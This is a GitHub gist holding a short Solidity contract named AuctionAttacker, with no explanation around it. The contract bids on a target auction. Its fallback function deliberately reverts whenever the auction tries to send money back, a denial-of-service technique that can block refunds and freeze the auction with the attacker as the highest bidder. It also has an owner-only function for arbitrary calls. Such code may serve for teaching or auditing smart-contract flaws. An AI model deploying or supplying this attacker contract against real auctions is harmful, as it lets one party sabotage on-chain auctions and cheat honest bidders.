Skip to content

Instantly share code, notes, and snippets.

@jbaylina
Created June 4, 2018 18:06
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save jbaylina/bf7ca510fa84b876f289f3e0adbb4167 to your computer and use it in GitHub Desktop.
Save jbaylina/bf7ca510fa84b876f289f3e0adbb4167 to your computer and use it in GitHub Desktop.
pragma solidity 0.4.24;
contract Auction {
function bid() payable public;
}
contract AuctionAttacker {
address owner;
address auction;
constructor() public {
owner = msg.sender;
}
function bid(Auction _auction) public payable {
require(msg.sender == owner);
require(uint(auction) == 0x0);
auction = _auction;
_auction.bid.value(msg.value)();
}
function () public payable {
assert(msg.sender != auction);
}
function execute(address _dst, uint _value, bytes _data) public {
require(msg.sender == owner);
_dst.call.value(_value)(_data);
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment